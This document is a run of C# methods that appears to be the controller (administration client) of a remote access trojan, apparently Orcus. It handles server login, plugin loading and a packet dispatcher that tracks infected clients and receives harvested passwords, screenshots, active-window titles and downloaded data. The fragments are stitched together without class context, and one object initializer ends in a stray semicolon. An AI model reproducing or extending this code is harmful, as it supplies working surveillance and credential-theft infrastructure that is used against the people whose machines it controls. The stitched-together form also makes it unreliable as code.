private static bool Authenticate(IConnection connection, string password)
{
Logger.Receive((string)Application.Current.Resources["GetPassword"]);
connection.BinaryWriter.Write(password);
Logger.Send(string.Format((string)Application.Current.Resources["SendPassword"],
new string('*', password.Length)));
return(connection.BinaryReader.ReadByte() == (byte)AuthentificationFeedback.Accepted);
}
public void Initialize()
{
if (_isInitialized)
{
throw new InvalidOperationException();
}
AppDomain.CurrentDomain.AssemblyResolve += CurrentDomainOnAssemblyResolve;
var pluginFolder = new DirectoryInfo("plugins");
if (!pluginFolder.Exists)
{
return;
}
foreach (var fileInfo in pluginFolder.GetFiles("*.orcplg", SearchOption.TopDirectoryOnly))
{
IPlugin plugin;
try
{
plugin = LoadPlugin(fileInfo);
}
catch (Exception ex)
{
Logger.Error(string.Format((string)Application.Current.Resources["CouldntLoadPlugin"],
fileInfo.Name, ex.Message));
var errorMessage = ex.ToString();
var typeLoadException = ex as ReflectionTypeLoadException;
if (typeLoadException != null)
{
var loaderExceptions = typeLoadException.LoaderExceptions;
errorMessage += string.Join("\r\n\r\n", loaderExceptions.Select(x => x.ToString()));
}
LogManager.GetCurrentClassLogger().Error("Failed to load plugin \"{0}\": {1}", fileInfo.Name, errorMessage);
ex.ToExceptionless().Submit();
continue;
}
LoadedPlugins.Add(plugin);
}
_isInitialized = true;
}
public static ConnectionResult ConnectToServer(string ip, int port, string password,
out ConnectionManager connectionManager)
{
connectionManager = null;
TcpClient client;
SslStream stream;
if (TryConnect(out client, out stream, ip, port))
{
Logger.Receive((string)Application.Current.Resources["ConnectionSuccessful"]);
var binaryWriter = new BinaryWriter(stream);
var binaryReader = new BinaryReader(stream);
int serverApiVersion;
var apiCheckResult = ApiVersionCheck(binaryReader, binaryWriter, out serverApiVersion);
if (apiCheckResult == false)
{
binaryReader.Dispose();
binaryWriter.Dispose();
stream.Dispose();
client.Close();
Logger.Error(string.Format((string)Application.Current.Resources["InvalidApiVersion"],
serverApiVersion,
ApiVersion));
return(new ConnectionResult(false,
string.Format((string)Application.Current.Resources["InvalidApiVersion"], serverApiVersion,
ApiVersion)));
}
IConnection serverConnection;
if (apiCheckResult == null)
{
Logger.Receive((string)Application.Current.Resources["ServerOffersNamedPipeConnection"]);
binaryWriter.Write(true);
var pipeName = binaryReader.ReadString();
var namedPipeClientStream = new NamedPipeClientStream(".", pipeName, PipeDirection.InOut,
PipeOptions.Asynchronous);
namedPipeClientStream.Connect(5000);
binaryReader.Dispose();
binaryWriter.Dispose();
stream.Dispose();
client.Close();
if (!namedPipeClientStream.IsConnected)
{
namedPipeClientStream.Dispose();
return(new ConnectionResult(false, "Timeout"));
}
Logger.Receive((string)Application.Current.Resources["ConnectedToNamedPipe"]);
serverConnection = new NamedPipeConnection(namedPipeClientStream);
}
else
{
serverConnection = new TcpConnection(client, binaryReader, binaryWriter, stream);
}
if (Authenticate(serverConnection, password))
{
Logger.Receive((string)Application.Current.Resources["AuthenticationSuccessful"]);
connectionManager =
Application.Current.Dispatcher.Invoke(
() => new ConnectionManager(ip, port, password, serverConnection));
return(new ConnectionResult(true));
}
Logger.Error((string)Application.Current.Resources["CouldNotAuthenticate"]);
serverConnection.Dispose();
return(new ConnectionResult(false, (string)Application.Current.Resources["CouldNotAuthenticate"]));
}
return(new ConnectionResult(false, (string)Application.Current.Resources["ConnectionRefused"]));
}
private void EndRead(IAsyncResult asyncResult)
{
try
{
var parameter = _readByteDelegate.EndInvoke(asyncResult);
var size = Sender.Connection.BinaryReader.ReadInt32();
var bytes = Sender.Connection.BinaryReader.ReadBytes(size);
Serializer serializer;
OnlineClientInformation client;
int clientId;
PackageInformation packageInformation = null;
if (PackageReceived != null)
{
packageInformation = new PackageInformation
{
Size = bytes.Length + 1,
Timestamp = DateTime.Now,
IsReceived = true
}
}
;
switch ((FromClientPackage)parameter)
{
case FromClientPackage.ResponseToAdministration:
case FromClientPackage.ResponseToAdministrationCompressed:
var isCompressed = parameter == (byte)FromClientPackage.ResponseToAdministrationCompressed;
var data = isCompressed
? LZF.Decompress(bytes, 1)
: bytes;
if (packageInformation != null)
{
packageInformation.Description = (FromClientPackage)parameter + " " +
CurrentController.DescribePackage(bytes[0], data,
isCompressed ? 0 : 1);
}
CurrentController?.PackageReceived(bytes[0], data, isCompressed ? 0 : 1);
break;
case FromClientPackage.ResponseLoginOpen:
clientId = BitConverter.ToInt32(bytes, 0);
client = _loginsPending.FirstOrDefault(x => x.Id == clientId);
if (client == null)
{
Logger.Error((string)Application.Current.Resources["CouldNotFindClient"]);
break;
}
_loginsPending.Remove(client);
Application.Current.Dispatcher.BeginInvoke(new Action(() =>
{
CurrentController = new ClientController(client, Sender, this);
((Commander)CurrentController.Commander).ConnectionInfo.PackageSent +=
_packageSentEventHandler;
LoginOpened?.Invoke(this, EventArgs.Empty);
}));
break;
case FromClientPackage.NewClientConnected:
serializer =
new Serializer(new[] { typeof(ClientInformation), typeof(OnlineClientInformation) });
client = serializer.Deserialize <OnlineClientInformation>(bytes);
Logger.Info(string.Format((string)Application.Current.Resources["NewClientConnected"],
client.IpAddress, client.Port, client.UserName));
lock (_clientListUpdateLock)
Application.Current.Dispatcher.Invoke(() => ClientProvider.NewClientConnected(client));
NewClientConnected?.Invoke(this, client);
break;
case FromClientPackage.ClientConnected:
serializer =
new Serializer(new[] { typeof(ClientInformation), typeof(OnlineClientInformation) });
client = serializer.Deserialize <OnlineClientInformation>(bytes);
Logger.Info(string.Format((string)Application.Current.Resources["NewClientConnected"],
client.IpAddress, client.Port, client.UserName));
lock (_clientListUpdateLock)
Application.Current.Dispatcher.Invoke(() => ClientProvider.ClientConnected(client));
ClientConnected?.Invoke(this, client);
break;
case FromClientPackage.ClientDisconnected:
var disconnectedClientId = BitConverter.ToInt32(bytes, 0);
if (CurrentController != null && CurrentController.Client.Id == disconnectedClientId)
{
CurrentController.Dispose();
CurrentController = null;
}
lock (_clientListUpdateLock)
Application.Current.Dispatcher.Invoke(
() => ClientProvider.ClientDisconnected(disconnectedClientId));
ClientDisconnected?.Invoke(this, disconnectedClientId);
break;
case FromClientPackage.ComputerInformationAvailable:
var clientWithComputerInformationId = BitConverter.ToInt32(bytes, 0);
Application.Current.Dispatcher.BeginInvoke(
new Action(
() => ClientProvider.ComputerInformationAvailable(clientWithComputerInformationId)));
break;
case FromClientPackage.PasswordsAvailable:
var clientWithPasswordsId = BitConverter.ToInt32(bytes, 0);
ClientProvider.PasswordsAvailable(clientWithPasswordsId);
break;
case FromClientPackage.GroupChanged:
var newGroupNameLength = BitConverter.ToInt32(bytes, 0);
var newGroupName = Encoding.UTF8.GetString(bytes, 4, newGroupNameLength);
var clients = new Serializer(typeof(List <int>)).Deserialize <List <int> >(bytes,
4 + newGroupNameLength);
ClientProvider.ClientGroupChanged(clients, newGroupName);
Logger.Receive((string)Application.Current.Resources["GroupChanged"]);
break;
case FromClientPackage.ClientsRemoved:
serializer = new Serializer(typeof(List <int>));
var removedClientsIds = serializer.Deserialize <List <int> >(bytes);
lock (_clientListUpdateLock)
Application.Current.Dispatcher.Invoke(
() => ClientProvider.ClientRemoved(removedClientsIds));
if (removedClientsIds.Count == 1)
{
Logger.Receive((string)Application.Current.Resources["ClientRemoved"]);
}
else
{
Logger.Receive(string.Format((string)Application.Current.Resources["ClientsRemoved"],
removedClientsIds.Count));
}
break;
case FromClientPackage.DynamicCommandsRemoved:
DynamicCommandsRemoved?.Invoke(this,
new Serializer(typeof(List <int>)).Deserialize <List <int> >(bytes));
break;
case FromClientPackage.PluginLoaded:
clientId = BitConverter.ToInt32(bytes, 0);
var pluginInfo = new Serializer(typeof(PluginInfo)).Deserialize <PluginInfo>(bytes, 4);
ClientProvider.ClientPluginAvailable(clientId, pluginInfo);
PluginLoaded?.Invoke(this,
new PluginLoadedEventArgs(clientId, pluginInfo.Guid, pluginInfo.Version, true));
break;
case FromClientPackage.PluginLoadFailed:
clientId = BitConverter.ToInt32(bytes, 0);
PluginLoadingFailed?.Invoke(this,
new PluginLoadedEventArgs(clientId, new Guid(bytes.Skip(4).Take(16).ToArray()),
Encoding.ASCII.GetString(bytes.Skip(20).ToArray()), false));
break;
case FromClientPackage.DataTransferProtocolResponse:
if (packageInformation != null)
{
packageInformation.Description = "DataTransferProtocolResponse - " +
DataTransferProtocolFactory.DescribeReceivedData(bytes, 0);
}
DataTransferProtocolFactory.Receive(bytes);
break;
case FromClientPackage.ResponseActiveWindow:
clientId = BitConverter.ToInt32(bytes, 0);
var clientViewModel = ClientProvider.Clients.FirstOrDefault(x => x.Id == clientId);
if (clientViewModel != null)
{
clientViewModel.ActiveWindow = Encoding.UTF8.GetString(bytes, 4, bytes.Length - 4);
}
break;
case FromClientPackage.ResponseScreenshot:
clientId = BitConverter.ToInt32(bytes, 0);
var clientViewModel2 = ClientProvider.Clients.FirstOrDefault(x => x.Id == clientId);
if (clientViewModel2 != null)
{
using (var stream = new MemoryStream(bytes, 4, bytes.Length - 4))
using (var image = (Bitmap)Image.FromStream(stream))
clientViewModel2.Thumbnail = BitmapConverter.ToBitmapSource(image);
}
break;
case FromClientPackage.DataRemoved:
DataRemoved?.Invoke(this, new Serializer(typeof(List <int>)).Deserialize <List <int> >(bytes));
break;
case FromClientPackage.PasswordsRemoved:
var clientIds = new Serializer(typeof(List <int>)).Deserialize <List <int> >(bytes);
foreach (var id in clientIds)
{
ClientProvider.PasswordsRemoved(id);
}
PasswordsRemoved?.Invoke(this, clientIds);
break;
case FromClientPackage.DataDownloadPackage:
DownloadDataReceived?.Invoke(this, bytes);
break;
case FromClientPackage.StaticCommandPluginReceived:
StaticCommandReceived?.Invoke(this, bytes);
break;
case FromClientPackage.StaticCommandPluginTransmissionFailed:
StaticCommandTransmissionFailed?.Invoke(this, bytes);
break;
case FromClientPackage.DynamicCommandAdded:
DynamicCommandAdded?.Invoke(this,
new Serializer(RegisteredDynamicCommand.RequiredTypes).Deserialize <RegisteredDynamicCommand>(bytes));
break;
case FromClientPackage.DynamicCommandEventsAdded:
DynamicCommandEventsAdded?.Invoke(this,
new Serializer(typeof(List <DynamicCommandEvent>)).Deserialize <List <DynamicCommandEvent> >(
bytes));
break;
case FromClientPackage.DynamicCommandStatusUpdate:
DynamicCommandStatusUpdated?.Invoke(this,
new DynamicCommandStatusUpdatedEventArgs(BitConverter.ToInt32(bytes, 0),
(DynamicCommandStatus)bytes[4]));
break;
case FromClientPackage.ResponseLibraryInformation:
LibraryInformationReceived?.Invoke(this,
new LibraryInformationEventArgs(BitConverter.ToInt32(bytes, 0),
(PortableLibrary)BitConverter.ToInt32(bytes, 4)));
break;
case FromClientPackage.ResponseLibraryLoadingResult:
LibraryLoadingResultReceived?.Invoke(this,
new LibraryInformationEventArgs(BitConverter.ToInt32(bytes, 0),
(PortableLibrary)BitConverter.ToInt32(bytes, 4)));
break;
case FromClientPackage.ActiveCommandsChanged:
ActiveCommandsChanged?.Invoke(this,
new Serializer(typeof(ActiveCommandsUpdate)).Deserialize <ActiveCommandsUpdate>(bytes, 0));
break;
default:
throw new ArgumentOutOfRangeException();
}
if (packageInformation != null)
{
if (string.IsNullOrEmpty(packageInformation.Description))
{
packageInformation.Description = ((FromClientPackage)parameter).ToString();
}
PackageReceived?.Invoke(this, packageInformation);
}
_readByteDelegate.BeginInvoke(EndRead, null);
}
catch (Exception ex)
{
if (!(ex is IOException) || ex.HResult != -2147024858)
{
LogManager.GetCurrentClassLogger().Warn(ex, "Disconnected from server");
if (Application.Current != null)
{
Logger.Error(string.Format((string)Application.Current.Resources["DisconnectedFromServerException"],
ex.Message));
}
}
else if (Application.Current != null)
{
Logger.Warn((string)Application.Current.Resources["DisconnectedFromServer"]);
}
else
{
LogManager.GetCurrentClassLogger().Warn("NullReference");
}
Dispose();
Disconnected?.Invoke(this, EventArgs.Empty);
}
}
public void Receive(uint id, byte[] data)
{
lock (_selectorLock)
{
Command command;
if (_commandDictionary.TryGetValue(id, out command))
{
var commandSettings = GetCommandSettings(command);
if (!commandSettings.AllowMultipleThreads)
{
using (var autoResetEventHandler = new AutoResetEvent(false))
{
object lockObject;
if (!_lockObjects.TryGetValue(command, out lockObject))
{
_lockObjects.Add(command, lockObject = new object());
}
new Thread(() =>
{
try
{
lock (lockObject)
{
autoResetEventHandler.Set();
command.ResponseReceived(data);
}
}
catch (Exception ex)
{
Logger.Fatal(ex.Message);
LogManager.GetCurrentClassLogger()
.Fatal(ex, "Error when executing command with id " + id);
}
}).Start();
autoResetEventHandler.WaitOne(); //Wait until the command is locked
}
}
else
{
new Thread(() =>
{
try
{
command.ResponseReceived(data);
}
catch (Exception ex)
{
Logger.Fatal(ex.Message);
}
}).Start();
}
}
else
{
if (Application.Current != null)
{
Logger.Warn(
string.Format(
(string)Application.Current.Resources["ReceivedCommandResponseUnknownCommand"],
id));
}
}
}
}
